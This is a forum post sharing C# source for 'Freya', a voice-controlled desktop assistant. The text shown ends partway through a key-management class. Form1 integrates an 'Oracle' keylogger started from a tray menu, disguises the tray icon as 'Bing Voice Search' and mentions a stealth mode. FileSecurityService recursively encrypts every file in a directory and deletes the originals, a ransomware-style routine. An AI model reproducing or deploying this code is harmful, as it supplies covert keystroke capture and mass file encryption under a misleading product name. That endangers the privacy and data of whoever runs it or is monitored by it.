Building "Freya": A Comprehensive Guide to Desktop Assistant Development For Intermediate to Advanced C# Developers

Justin

Member
Joined
May 1, 2025
Messages
24
Programming Experience
10+
It's welcome to the public if you wish to use it.
Screenshot_20250606_135406_Gmail.jpg
Screenshot_20250604_131652_Gmail.jpg
Screenshot_20250608_103448_Gmail.jpg
 
Just to be nice this book is copy right protected but you are welcome to use the projects...It has a review from 2 MIT professor's in the end. I take a lot of crap on here and I'm not always right, but I strive to correct it. Positive communication is key...not a hot head know-it-all...with an ego. Freya....

Form1:
using NAudio.Wave; // Make sure NAudio NuGet package is installed
using System;
using System.Diagnostics; // For Debug.WriteLine
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Runtime.InteropServices;
using System.Speech.Recognition;
using System.Windows.Forms;
using System.Security.Cryptography; // Needed for CryptographicException

namespace Freya
{
    public partial class Form1 : Form
    {
        #region Private Fields
        private SpeechRecognitionEngine _recognizer; // Engine for speech recognition
        private NotifyIcon _notifyIcon; // System tray icon for the application
        private ContextMenuStrip _contextMenu; // Context menu for the tray icon

        // Instances of our helper classes
        private SpeechCommands _speechCommands; // Handles speech commands and their execution
        private FileSecurityService _fileSecurityService; // Manages file encryption and decryption
        private Oracle _keylogger; // <<< ADD THIS LINE for your Oracle instance. Handles keylogging and logging keystrokes

        // Fields for movement
        private Timer _moveTimer; // Timer to control the movement of the form
        private readonly int _moveSpeed = 5; // Speed of the form's movement in pixels per tick
        private bool _movingRight = true; // Direction of the form's movement (right if true, left if false)

        // Fields for Microphone Monitoring with NAudio
        private WaveInEvent _waveIn; // Object to capture audio from the microphone
        private float _currentMicrophoneLevel; // Stores the detected peak volume (0.0 to 1.0)

        // UI Update Timer for visual feedback
        private Timer _visualUpdateTimer; // Timer for updating UI based on microphone level
        #endregion

        #region Dll Imports and Enums
        [DllImport("user32.dll")]
        private static extern bool SetForegroundWindow(IntPtr hWnd); // Brings the window with the specified handle to the foreground

        [DllImport("user32.dll")]
        private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); // Finds the first top-level window whose class name and window name match the specified strings
        #endregion

        #region Constructor and Form Events
        public Form1()
        {
            // Add ConsoleTraceListener for Debug.WriteLine output to console
            Debug.Listeners.Add(new ConsoleTraceListener());

            InitializeComponent();
            InitializeApplicationComponents();
            InitializeTrayIcon();

            ShowInTaskbar = false; // Prevent the form from showing in the taskbar
            Visible = true; // Setting Visible to true initially seems to contradict ShowInTaskbar=false for a background app.
                            // Consider setting Visible = false if you want it to truly start hidden.
            WindowState = FormWindowState.Normal; // Set the window state to normal
            Load += Form1_Load; // Subscribe to the Load event to perform initialization when the form is loaded
        }

        private void InitializeApplicationComponents()
        {
            // --- Secure Key and IV Management (Integrated into Form1) ---
            byte[] aesKey; // AES encryption key
            byte[] aesIV; // AES initialization vector

            if (!KeyManager.AreKeysStored())
            {
                Debug.WriteLine("Encryption key and IV not found. Generating new ones...");
                if (KeyManager.GenerateAndProtectKeys())
                {
                    Debug.WriteLine("New key and IV generated and securely stored.");
                }
                else
                {
                    // If key generation/storage fails, we cannot proceed securely.
                    MessageBox.Show("Failed to generate or securely store encryption key/IV. The application cannot proceed.",
                        "Security Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Application.Exit(); // Terminate application
                    return;
                }
            }

            // Retrieve the key and IV for use in the FileSecurityService
            aesKey = KeyManager.GetKey();
            aesIV = KeyManager.GetIv();

            if (aesKey == null || aesIV == null)
            {
                // If key retrieval fails (e.g., corruption, permissions, or different user for DPAPI CurrentUser scope)
                MessageBox.Show("Failed to retrieve encryption key or IV. They might be corrupted or access denied. The application cannot proceed.",
                    "Security Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit(); // Terminate application
                return;
            }

            try
            {
                // Initialize FileSecurityService with the securely retrieved key and IV
                _fileSecurityService = new FileSecurityService(aesKey, aesIV);
                Debug.WriteLine("FileSecurityService initialized successfully with securely retrieved keys.");
            }
            catch (CryptographicException ex)
            {
                MessageBox.Show($"Error initializing FileSecurityService: {ex.Message}. Application cannot proceed.",
                    "Security Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit(); // Terminate application
                return;
            }
            catch (Exception ex)
            {
                MessageBox.Show($"An unexpected error occurred during FileSecurityService initialization: {ex.Message}. Application cannot proceed.",
                    "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit(); // Terminate application
                return;
            }

            // --- Continue with existing initializations ---
            // Initialize the Oracle keylogger here, passing the securely initialized FileSecurityService
            _keylogger = new Oracle(_fileSecurityService);

            _speechCommands = new SpeechCommands(_fileSecurityService, this, pictureBox1);
            // Initialize speech commands with the securely initialized FileSecurityService, the form, and the pictureBox
                                                              
            _recognizer = InitializeSpeechRecognition(); // Initialize the speech recognition engine

            InitializeMicrophoneMonitoring(); // Start monitoring the microphone

            _visualUpdateTimer = new Timer { Interval = 50 }; // Timer to update UI every 50ms
            _visualUpdateTimer.Tick += VisualUpdateTimer_Tick; // Subscribe to the Tick event
            _visualUpdateTimer.Start(); // Start the timer

            _moveTimer = new Timer
            {
                Interval = 50 // Timer to move the form every 50ms
            };
            _moveTimer.Tick += MoveTimer_Tick; // Subscribe to the Tick event
            _moveTimer.Start(); // Start the timer
        }

        private void InitializeTrayIcon()
        {
            _notifyIcon = new NotifyIcon
            {
                Icon = SystemIcons.Information, // Set the icon for the tray icon
                Text = "Bing Voice Search", // Tooltip text for the tray icon
                Visible = true // Make the tray icon visible
            };
            _notifyIcon.DoubleClick += NotifyIcon_DoubleClick; // Subscribe to DoubleClick event

            _contextMenu = new ContextMenuStrip(); // Create a new context menu
            _contextMenu.Items.Add("Show Application", null, NotifyIcon_ShowApp); // Add menu item to show the application
            // Add menu items for keylogger control
            _contextMenu.Items.Add(new ToolStripSeparator()); // Separator for better organization
            _contextMenu.Items.Add("Start Keylogger", null, NotifyIcon_StartKeylogger); // Add menu item to start the keylogger
            _contextMenu.Items.Add("Stop Keylogger", null, NotifyIcon_StopKeylogger); // Add menu item to stop the keylogger
            _contextMenu.Items.Add(new ToolStripSeparator()); // Separator
            _contextMenu.Items.Add("Exit", null, NotifyIcon_ExitApp); // Add menu item to exit the application
            _notifyIcon.ContextMenuStrip = _contextMenu; // Assign the context menu to the tray icon
        }

        private void NotifyIcon_StartKeylogger(object sender, EventArgs e)
        {
            try
            {
                _keylogger.StartLogging(); // Start logging keystrokes
                _notifyIcon.ShowBalloonTip(3000, "Keylogger", "Keylogger started. Logs to Desktop/KeyloggerLogs.", ToolTipIcon.Info); // Show a balloon tip indicating the keylogger has started
                Debug.WriteLine("Keylogger started from tray icon."); // Log to Debug output
            }
            catch (Exception ex)
            {
                _notifyIcon.ShowBalloonTip(3000, "Keylogger Error", $"Failed to start keylogger: {ex.Message}", ToolTipIcon.Error); // Show a balloon tip indicating an error
                Debug.WriteLine($"Error starting keylogger from tray icon: {ex.Message}"); // Log to Debug output
            }
        }

        private void NotifyIcon_StopKeylogger(object sender, EventArgs e)
        {
            try
            {
                _keylogger.StopLogging(); // Stop logging keystrokes
                _notifyIcon.ShowBalloonTip(3000, "Keylogger", "Keylogger stopped.", ToolTipIcon.Info); // Show a balloon tip indicating the keylogger has stopped
                Debug.WriteLine("Keylogger stopped from tray icon."); // Log to Debug output
            }
            catch (Exception ex)
            {
                _notifyIcon.ShowBalloonTip(3000, "Keylogger Error", $"Failed to stop keylogger: {ex.Message}", ToolTipIcon.Error); // Show a balloon tip indicating an error
                Debug.WriteLine($"Error stopping keylogger from tray icon: {ex.Message}"); // Log to Debug output
            }
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            SetFormToCircular(); // Set the form to a circular shape
            SetPictureBoxToCircular(); // Ensure pictureBox1 is on your form and set it to a circular shape

            // Set initial position to top-left of working area
            Location = new Point(0, 0);

            _notifyIcon.ShowBalloonTip(3000, "Bing Voice Search", "Application is running in the background. Say 'show commands' to see available commands.", ToolTipIcon.Info); // Show a balloon tip indicating the application is running in the background
        }

        private void SetFormToCircular()
        {
            int fixedSize = 200; // Define your desired circular size
            Size = new Size(fixedSize, fixedSize); // Set the form size

            FormBorderStyle = FormBorderStyle.None; // Make the form borderless

            // Dispose of the existing Region if it exists before assigning a new one
            // This prevents a slow leak of GDI+ objects if this method is called multiple times.
            Region?.Dispose();

            // 'using' ensures 'path' (a GraphicsPath object) is disposed after its scope.
            // GraphicsPath is a GDI+ resource and must be disposed.
            using (GraphicsPath path = new GraphicsPath())
            {
                path.AddEllipse(0, 0, Width, Height); // Create an elliptical path for the form's region
                Region = new Region(path); // The form's Region property takes ownership of this new Region.
                                           // It will be disposed when the form is disposed.
            }
        }

        private void SetPictureBoxToCircular()
        {
            // Check if pictureBox1 exists on the form
            if (Controls.Contains(pictureBox1))
            {
                int size = Math.Min(pictureBox1.Width, pictureBox1.Height); // Ensure PictureBox is square for a perfect circle
                pictureBox1.Size = new Size(size, size); // Set the PictureBox size

                // Dispose of the existing PictureBox Region if it exists
                pictureBox1.Region?.Dispose();

                // 'using' ensures 'path' (a GraphicsPath object) is disposed after its scope.
                using (GraphicsPath path = new GraphicsPath())
                {
                    path.AddEllipse(0, 0, pictureBox1.Width, pictureBox1.Height); // Create an elliptical path for the PictureBox's region
                    pictureBox1.Region = new Region(path); // PictureBox's Region property takes ownership.
                                                           // It will be disposed when the PictureBox is disposed.
                }
            }
            else
            {
                Debug.WriteLine("Warning: pictureBox1 control not found on the form. Cannot set to circular."); // Log a warning if pictureBox1 is not found
            }
        }

        private void MoveTimer_Tick(object sender, EventArgs e)
        {
            Rectangle workingArea = Screen.PrimaryScreen.WorkingArea; // Get the working area of the primary screen
            int newX = Location.X; // Current X position of the form

            if (_movingRight)
            {
                newX += _moveSpeed; // Move the form to the right
                if (newX + Width > workingArea.Right)
                {
                    newX = workingArea.Right - Width; // Adjust position if it exceeds the right boundary
                    _movingRight = false; // Change direction to left
                }
            }
            else
            {
                newX -= _moveSpeed; // Move the form to the left
                if (newX < workingArea.Left)
                {
                    newX = workingArea.Left; // Adjust position if it exceeds the left boundary
                    _movingRight = true; // Change direction to right
                }
            }

            Location = new Point(newX, 0); // Keep it at the top of the screen (Y=0)
        }

        protected override void OnFormClosing(FormClosingEventArgs e)
        {
            _recognizer?.Dispose(); // Dispose the speech recognition engine
            _notifyIcon?.Dispose(); // Dispose the tray icon
            _moveTimer?.Stop(); // Stop the movement timer
            _moveTimer?.Dispose(); // Dispose the movement timer
            _visualUpdateTimer?.Stop(); // Stop the UI update timer
            _visualUpdateTimer?.Dispose(); // Dispose the UI update timer

            // Safely stop and dispose the keylogger when the form is closing
            _keylogger?.StopLogging();

            if (_waveIn != null)
            {
                _waveIn.StopRecording(); // Stop microphone recording
                _waveIn.Dispose(); // Dispose the WaveInEvent object
                _waveIn = null; // Set to null to indicate no active recording
            }

            base.OnFormClosing(e); // Call the base class method to ensure proper form closing
        }
        #endregion

        #region NotifyIcon Event Handlers
        private void NotifyIcon_DoubleClick(object sender, EventArgs e)
        {
            Show(); // Show the form
            WindowState = FormWindowState.Normal; // Restore to normal size
            ShowInTaskbar = true; // Show icon in taskbar
            SetForegroundWindow(Handle); // Bring form to front
            // Ensure PictureBox is visible when coming back from stealth mode
            if (pictureBox1 != null)
            {
                pictureBox1.Visible = true; // Make the PictureBox visible
            }
        }

        private void NotifyIcon_ShowApp(object sender, EventArgs e)
        {
            NotifyIcon_DoubleClick(sender, e); // Re-use double-click logic to show the application
        }

        private void NotifyIcon_ExitApp(object sender, EventArgs e)
        {
            Application.Exit(); // Terminate the application
        }
        #endregion

        #region Speech Recognition
        private SpeechRecognitionEngine InitializeSpeechRecognition()
        {
            var recognizer = new SpeechRecognitionEngine(); // Create a new speech recognition engine
            // Load grammar generated by SpeechCommands
            recognizer.LoadGrammar(_speechCommands.CreateGrammar()); // Load the grammar for speech recognition
            recognizer.SpeechRecognized += OnSpeechRecognized; // Subscribe to the SpeechRecognized event
            recognizer.SetInputToDefaultAudioDevice(); // Use the default microphone for speech input
            recognizer.RecognizeAsync(RecognizeMode.Multiple); // Start continuous recognition
            return recognizer;
        }

        private void OnSpeechRecognized(object sender, SpeechRecognizedEventArgs e)
        {
            string recognizedText = e.Result.Text.ToLower(); // Convert recognized text to lowercase for case-insensitive comparison

            // Stop current recognition cycle to avoid processing partial results or
            // re-triggering while a command is being executed.
            _recognizer.RecognizeAsyncStop(); // Stop the recognition engine
            Application.DoEvents(); // Process any pending UI messages

            try
            {
                _speechCommands.ExecuteCommand(recognizedText, this); // Execute the recognized command
            }
            catch (Exception ex)
            {
                // Display error if command execution fails
                MessageBox.Show($"An error occurred while executing command '{recognizedText}': {ex.Message}", "Command Error", MessageBoxButtons.OK, MessageBoxIcon.Error); // Show a message box with the error
            }
            finally
            {
                // Restart recognition only if the application is still running (form is open)
                // This prevents restarting recognition if the "exit application" command was given.
                if (Application.OpenForms.Count > 0)
                {
                    _recognizer.RecognizeAsync(RecognizeMode.Multiple); // Restart the recognition engine
                }
            }
        }
        #endregion

        #region Microphone Monitoring with NAudio
        private void InitializeMicrophoneMonitoring()
        {
            // Check if any audio input devices are available
            if (WaveInEvent.DeviceCount == 0)
            {
                Debug.WriteLine("No audio input devices found. Microphone monitoring cannot start."); // Log a warning if no audio devices are found
                // Optionally, inform the user with a less intrusive message.
                // For a tray app, a balloon tip might be better than a blocking MessageBox.
                _notifyIcon.ShowBalloonTip(5000, "Microphone Warning", "No microphone found. Voice commands may not work.", ToolTipIcon.Warning); // Show a balloon tip indicating no microphone
                return;
            }

            try
            {
                _waveIn = new WaveInEvent
                {
                    DeviceNumber = 0, // Use the default microphone (index 0)
                    WaveFormat = new WaveFormat(44100, 1), // 44.1 kHz sample rate, Mono channel
                    BufferMilliseconds = 200 // Reduce buffer size for more responsive level updates
                };

                _waveIn.DataAvailable += OnMicrophoneDataAvailable; // Event for when audio data is available
                _waveIn.RecordingStopped += OnMicrophoneRecordingStopped; // Event for when recording stops

                _waveIn.StartRecording(); // Begin microphone recording
                Debug.WriteLine("Microphone monitoring started successfully."); // Log to Debug output
            }
            catch (Exception ex)
            {
                // Handle errors during microphone startup (e.g., device in use, permissions)
                MessageBox.Show($"Error starting microphone monitoring: {ex.Message}\n\nPlease check your microphone settings and permissions.", "Audio Error", MessageBoxButtons.OK, MessageBoxIcon.Error); // Show a message box with the error
                Debug.WriteLine($"Error starting microphone monitoring: {ex.Message}"); // Log to Debug output
                // Dispose _waveIn if it was partially initialized and failed to start
                _waveIn?.Dispose();
                _waveIn = null; // Ensure it's null if initialization failed
            }
        }

        private void OnMicrophoneDataAvailable(object sender, WaveInEventArgs e)
        {
            // This event is called on a background thread by NAudio.
            // DO NOT perform UI updates directly here to avoid cross-thread issues.

            float maxAmplitude = 0; // Variable to store the maximum amplitude detected in the current buffer
            // The buffer contains 16-bit PCM audio samples (2 bytes per sample for short).
            for (int index = 0; index < e.BytesRecorded; index += 2)
            {
                // Reconstruct the 16-bit sample from two bytes
                short sample = (short)((e.Buffer[index + 1] << 8) | e.Buffer[index + 0]);
                // Convert to float between -1.0 and 1.0 (float / max_short_value)
                float sample32 = sample / 32768f; // 32768 is 2^15, max value for short is 32767
                // Find the peak absolute amplitude in the current buffer
                maxAmplitude = Math.Max(maxAmplitude, Math.Abs(sample32)); // Update maxAmplitude if the current sample is higher
            }

            // Store the peak amplitude. The UI timer will read this.
            _currentMicrophoneLevel = maxAmplitude; // Set the current microphone level

            // This line is for debugging purposes to see the mic level in the Output window.
            Debug.WriteLine($"Current Mic Level: {_currentMicrophoneLevel * 100:F2}%"); // Log the microphone level as a percentage
        }

        private void OnMicrophoneRecordingStopped(object sender, StoppedEventArgs e)
        {
            // Handle any errors that caused recording to stop unexpectedly
            if (e.Exception != null)
            {
                MessageBox.Show($"Microphone recording stopped due to error: {e.Exception.Message}", "Audio Error", MessageBoxButtons.OK, MessageBoxIcon.Error); // Show a message box with the error
                Debug.WriteLine($"Microphone recording stopped due to error: {e.Exception.Message}"); // Log to Debug output
            }
            Debug.WriteLine("Microphone monitoring gracefully stopped."); // Log that microphone monitoring has stopped

            // Optionally, try to restart recording if it stopped due to an error,
            // or if the user wants to re-enable it. This logic can be more complex.
            // For now, we'll just log and display an error.
        }
        #endregion

        #region UI Updates and Visual Feedback // Currently using a GIF verse Colors
        private void VisualUpdateTimer_Tick(object sender, EventArgs e)
        {
            // This method runs on the UI thread, so it's safe to update UI elements.
            if (pictureBox1 != null && Visible) // Only update if form and picture box are visible
            {
                // Scale the microphone level (0.0 to 1.0) to a brightness value (0-255).
                // We'll use a power function to make low levels less impactful and high levels more distinct.
                // A level of 0.0 will be black (0,0,0), and 1.0 will be white (255,255,255).
                // You can adjust the exponent (e.g., 2.0 or 3.0) to change the curve.
                float scaledLevel = (float)Math.Pow(_currentMicrophoneLevel, 1.5); // Adjust exponent for desired sensitivity

                int brightness = (int)(scaledLevel * 255); // Convert scaled level to brightness value
                brightness = Math.Max(0, Math.Min(255, brightness)); // Clamp between 0 and 255

                // You can pick any color based on brightness.
                // For a "listening" effect, let's go from a dark base color to a brighter, reactive color.
                // Example: Base is dark blue, brightens to light blue/cyan.
                int baseRed = 0; // Base red component of the color
                int baseGreen = 0; // Base green component of the color
                int baseBlue = 50; // Base blue component of the color (dark blue)

                // Blend towards a brighter color based on mic level
                // Max brightness when speaking (e.g., light blue / cyan)
                int maxRed = 50; // Maximum red component of the color
                int maxGreen = 200; // Maximum green component of the color
                int maxBlue = 255; // Maximum blue component of the color

                int currentRed = (int)(baseRed + (maxRed - baseRed) * scaledLevel); // Calculate current red component based on scaled level
                int currentGreen = (int)(baseGreen + (maxGreen - baseGreen) * scaledLevel); // Calculate current green component based on scaled level
                int currentBlue = (int)(baseBlue + (maxBlue - baseBlue) * scaledLevel); // Calculate current blue component based on scaled level

                pictureBox1.BackColor = Color.FromArgb(currentRed, currentGreen, currentBlue); // Set the PictureBox background color based on calculated components
            }
            else
            {
                // If the form is hidden (e.g., in stealth mode), reset color or don't update.
                // This prevents the picture box from changing color if it's not meant to be seen.
                if (pictureBox1 != null)
                {
                    pictureBox1.BackColor = Color.Transparent; // Or any default color when hidden
                }
            }
        }
        #endregion
    }
}

Second class:
using System;
using System.Diagnostics; // For Debug.WriteLine
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Freya
{
    public class FileSecurityService
    {
        private readonly byte[] _encryptionKey;
        private readonly byte[] _initializationVector;

        /// <summary>
        /// Initializes a new instance of the FileSecurityService class.
        /// IMPORTANT: The encryption key and IV should be securely generated, stored, and managed
        /// outside of this class and passed in during initialization.
        /// </summary>
        /// <param name="key">The AES encryption key (32 bytes for AES-256).</param>
        /// <param name="iv">The AES initialization vector (16 bytes for AES).</param>
        /// <exception cref="ArgumentNullException">Thrown if key or iv is null.</exception>
        /// <exception cref="CryptographicException">Thrown if key or iv have incorrect lengths.</exception>
        public FileSecurityService(byte[] key, byte[] iv)
        {
            _encryptionKey = key ?? throw new ArgumentNullException(nameof(key), "Encryption key cannot be null.");
            _initializationVector = iv ?? throw new ArgumentNullException(nameof(iv), "Initialization vector cannot be null.");

            // Ensure the key and IV are of the correct length
            if (_encryptionKey.Length != 32)
            {
                throw new CryptographicException("Encryption key must be 32 bytes for AES-256.");
            }
            if (_initializationVector.Length != 16)
            {
                throw new CryptographicException("Initialization vector must be 16 bytes for AES.");
            }
            Debug.WriteLine("FileSecurityService initialized with provided key and IV.");
        }

        /// <summary>
        /// Encrypts all files within the specified directory and its subdirectories.
        /// Encrypted files will have a '.enc' extension, and original files will be deleted.
        /// </summary>
        /// <param name="directoryPath">The path to the directory to encrypt.</param>
        /// <param name="searchOption">Specifies whether to include subdirectories (AllDirectories) or only the top directory (TopDirectoryOnly).</param>
        public void EncryptDirectory(string directoryPath, SearchOption searchOption)
        {
            if (!Directory.Exists(directoryPath))
            {
                Debug.WriteLine($"Error: Directory not found for encryption: {directoryPath}");
                return;
            }

            Debug.WriteLine($"Starting encryption for directory: {directoryPath} with search option: {searchOption}");
            try
            {
                string[] files = Directory.GetFiles(directoryPath, "*.*", searchOption);
                foreach (string filePath in files)
                {
                    try
                    {
                        // Skip already encrypted files to prevent re-encryption
                        if (filePath.EndsWith(".enc", StringComparison.OrdinalIgnoreCase))
                        {
                            Debug.WriteLine($"Skipping already encrypted file: {filePath}");
                            continue;
                        }

                        byte[] fileBytes = File.ReadAllBytes(filePath);
                        byte[] encryptedBytes = Encrypt(fileBytes); // Use the byte-based Encrypt method
                        string encryptedFilePath = filePath + ".enc";

                        File.WriteAllBytes(encryptedFilePath, encryptedBytes);
                        File.Delete(filePath); // Delete original after successful encryption
                        Debug.WriteLine($"Encrypted and deleted original: {filePath} -> {encryptedFilePath}");
                    }
                    catch (IOException ex)
                    {
                        Debug.WriteLine($"File I/O error during encryption of {filePath}: {ex.Message}");
                    }
                    catch (UnauthorizedAccessException ex)
                    {
                        Debug.WriteLine($"Access denied during encryption of {filePath}: {ex.Message}");
                    }
                    catch (CryptographicException ex)
                    {
                        Debug.WriteLine($"Cryptographic error during encryption of {filePath}: {ex.Message}");
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"An unexpected error occurred during encryption of {filePath}: {ex.Message}");
                    }
                }
                Debug.WriteLine($"Encryption completed for directory: {directoryPath}");
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Error enumerating files in directory {directoryPath} during encryption: {ex.Message}");
            }
        }

        /// <summary>
        /// Decrypts all encrypted files within the specified directory and its subdirectories.
        /// Decrypted files will have their original names, and '.enc' files will be deleted.
        /// </summary>
        /// <param name="directoryPath">The path to the directory to decrypt.</param>
        /// <param name="searchOption">Specifies whether to include subdirectories (AllDirectories) or only the top directory (TopDirectoryOnly).</param>
        public void DecryptDirectory(string directoryPath, SearchOption searchOption)
        {
            if (!Directory.Exists(directoryPath))
            {
                Debug.WriteLine($"Error: Directory not found for decryption: {directoryPath}");
                return;
            }

            Debug.WriteLine($"Starting decryption for directory: {directoryPath} with search option: {searchOption}");
            try
            {
                // Find only files with the .enc extension
                string[] files = Directory.GetFiles(directoryPath, "*.enc", searchOption);
                foreach (string filePath in files)
                {
                    try
                    {
                        byte[] encryptedBytes = File.ReadAllBytes(filePath);
                        byte[] decryptedBytes = Decrypt(encryptedBytes); // Use the byte-based Decrypt method
                        string originalFilePath = filePath.Replace(".enc", ""); // Remove .enc extension

                        File.WriteAllBytes(originalFilePath, decryptedBytes);
                        File.Delete(filePath); // Delete encrypted file after successful decryption
                        Debug.WriteLine($"Decrypted and deleted encrypted file: {filePath} -> {originalFilePath}");
                    }
                    catch (IOException ex)
                    {
                        Debug.WriteLine($"File I/O error during decryption of {filePath}: {ex.Message}");
                    }
                    catch (UnauthorizedAccessException ex)
                    {
                        Debug.WriteLine($"Access denied during decryption of {filePath}: {ex.Message}");
                    }
                    catch (CryptographicException ex)
                    {
                        Debug.WriteLine($"Cryptographic error during decryption of {filePath}: {ex.Message}");
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"An unexpected error occurred during decryption of {filePath}: {ex.Message}");
                    }
                }
                Debug.WriteLine($"Decryption completed for directory: {directoryPath}");
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"Error enumerating files in directory {directoryPath} during decryption: {ex.Message}");
            }
        }

        /// <summary>
        /// Encrypts the given plaintext bytes using AES.
        /// </summary>
        /// <param name="plainBytes">The bytes to encrypt.</param>
        /// <returns>The encrypted bytes.</returns>
        private byte[] Encrypt(byte[] plainBytes)
        {
            if (plainBytes == null || plainBytes.Length == 0)
            {
                return new byte[0];
            }

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = _encryptionKey;
                aesAlg.IV = _initializationVector;

                ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream msEncrypt = new MemoryStream())
                {
                    using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
                    {
                        csEncrypt.Write(plainBytes, 0, plainBytes.Length);
                        csEncrypt.FlushFinalBlock(); // Ensure all data is written and padded
                        return msEncrypt.ToArray();
                    }
                }
            }
        }

        /// <summary>
        /// Decrypts the given ciphertext bytes using AES.
        /// </summary>
        /// <param name="cipherBytes">The encrypted bytes to decrypt.</param>
        /// <returns>The decrypted plaintext bytes.</returns>
        private byte[] Decrypt(byte[] cipherBytes)
        {
            if (cipherBytes == null || cipherBytes.Length == 0)
            {
                return new byte[0];
            }

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = _encryptionKey;
                aesAlg.IV = _initializationVector;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream msDecrypt = new MemoryStream(cipherBytes))
                {
                    using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
                    {
                        using (MemoryStream msPlain = new MemoryStream())
                        {
                            // Read decrypted bytes into a new memory stream
                            byte[] buffer = new byte[4096]; // Buffer for reading
                            int bytesRead;
                            while ((bytesRead = csDecrypt.Read(buffer, 0, buffer.Length)) > 0)
                            {
                                msPlain.Write(buffer, 0, bytesRead);
                            }
                            return msPlain.ToArray();
                        }
                    }
                }
            }
        }

        /// <summary>
        /// Appends encrypted text to a specified file. If the file does not exist, it will be created.
        /// </summary>
        /// <param name="filePath">The path to the file where the encrypted text will be appended.</param>
        /// <param name="textToAppend">The plaintext string to encrypt and append.</param>
        public void AppendEncryptedText(string filePath, string textToAppend)
        {
            if (string.IsNullOrEmpty(filePath))
            {
                Debug.WriteLine("Error: File path cannot be null or empty for AppendEncryptedText.");
                return;
            }
            if (string.IsNullOrEmpty(textToAppend))
            {
                Debug.WriteLine("Warning: No text to append (textToAppend is null or empty).");
                return;
            }

            try
            {
                // Ensure the directory exists
                string directory = Path.GetDirectoryName(filePath);
                if (!string.IsNullOrEmpty(directory) && !Directory.Exists(directory))
                {
                    Directory.CreateDirectory(directory);
                    Debug.WriteLine($"Created directory: {directory}");
                }

                // Encrypt the text
                // Convert string to bytes for encryption
                byte[] plainTextBytes = Encoding.UTF8.GetBytes(textToAppend);
                byte[] encryptedBytes = Encrypt(plainTextBytes); // Use the byte-based Encrypt method

                // Append the encrypted bytes to the file
                // Using FileStream for appending bytes to avoid issues with large files
                using (FileStream fs = new FileStream(filePath, FileMode.Append, FileAccess.Write, FileShare.Read))
                {
                    fs.Write(encryptedBytes, 0, encryptedBytes.Length);
                }
                Debug.WriteLine($"Successfully appended {encryptedBytes.Length} encrypted bytes to {filePath}");
            }
            catch (CryptographicException ex)
            {
                Debug.WriteLine($"Cryptographic error during AppendEncryptedText: {ex.Message}");
            }
            catch (IOException ex)
            {
                Debug.WriteLine($"File I/O error during AppendEncryptedText to {filePath}: {ex.Message}");
            }
            catch (UnauthorizedAccessException ex)
            {
                Debug.WriteLine($"Unauthorized access error during AppendEncryptedText to {filePath}: {ex.Message}");
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"An unexpected error occurred during AppendEncryptedText to {filePath}: {ex.Message}");
            }
        }
    }
}

Third class:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;

namespace Freya
{
    /// <summary>
    /// Manages the generation, protection, and unprotection of cryptographic keys and IVs using DPAPI.
    /// This class handles the secure storage of these values to disk.
    /// </summary>
    public static class KeyManager
    {
        // Define file paths for the protected key and IV
        // Using a more specific folder structure for clarity and organization.
        // DataProtectionScope.CurrentUser: For user-specific secrets. Stored in user profile.
        // DataProtectionScope.LocalMachine: For machine-wide secrets. Stored in ProgramData (requires admin for writing initially sometimes)

        private static readonly string FreyaBaseFolder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Freya");
        private static readonly string CryptoKeysFolder = Path.Combine(FreyaBaseFolder, "Keys"); // Or "Security", "Secrets"

        private static readonly string KeyFilePath = Path.Combine(CryptoKeysFolder, "aes_key.bin");
        private static readonly string IvFilePath = Path.Combine(CryptoKeysFolder, "aes_iv.bin");
        private static readonly string KeyDirectory = CryptoKeysFolder; // This will be the directory where keys are stored

        /// <summary>
        /// Generates a new AES key and IV, protects them using DPAPI, and saves them to disk.
        /// </summary>
        /// <returns>True if keys were generated and protected successfully, false otherwise.</returns>
        public static bool GenerateAndProtectKeys()
        {
            try
            {
                // Ensure the directory for keys exists. This will create "Freya" and "Freya/Keys" if they don't exist.
                if (!Directory.Exists(KeyDirectory))
                {
                    Directory.CreateDirectory(KeyDirectory);
                    Debug.WriteLine($"Created key directory: {KeyDirectory}");
                }

                using (Aes aes = Aes.Create())
                {
                    aes.GenerateKey(); // Generates a 256-bit (32-byte) key
                    aes.GenerateIV();  // Generates a 128-bit (16-byte) IV

                    byte[] protectedKey = ProtectedData.Protect(aes.Key, null, DataProtectionScope.CurrentUser);
                    byte[] protectedIv = ProtectedData.Protect(aes.IV, null, DataProtectionScope.CurrentUser);

                    File.WriteAllBytes(KeyFilePath, protectedKey);
                    File.WriteAllBytes(IvFilePath, protectedIv);

                    Debug.WriteLine($"AES Key and IV generated and protected using DPAPI (CurrentUser) and saved to: {KeyDirectory}");
                }
                return true;
            }
            catch (CryptographicException ex)
            {
                Debug.WriteLine($"Cryptographic error during key generation/protection: {ex.Message}");
                return false;
            }
            catch (IOException ex)
            {
                Debug.WriteLine($"File I/O error during key saving: {ex.Message}");
                return false;
            }
            catch (UnauthorizedAccessException ex)
            {
                Debug.WriteLine($"Access denied error during key saving: {ex.Message}");
                return false;
            }
            catch (Exception ex)
            {
                Debug.WriteLine($"An unexpected error occurred during key generation/protection: {ex.Message}");
                return false;
            }
        }

        /// <summary>
        /// Attempts to retrieve and unprotect the AES key from storage.
        /// </summary>
        /// <returns>The unprotected AES key as a byte array, or null if retrieval fails.</returns>
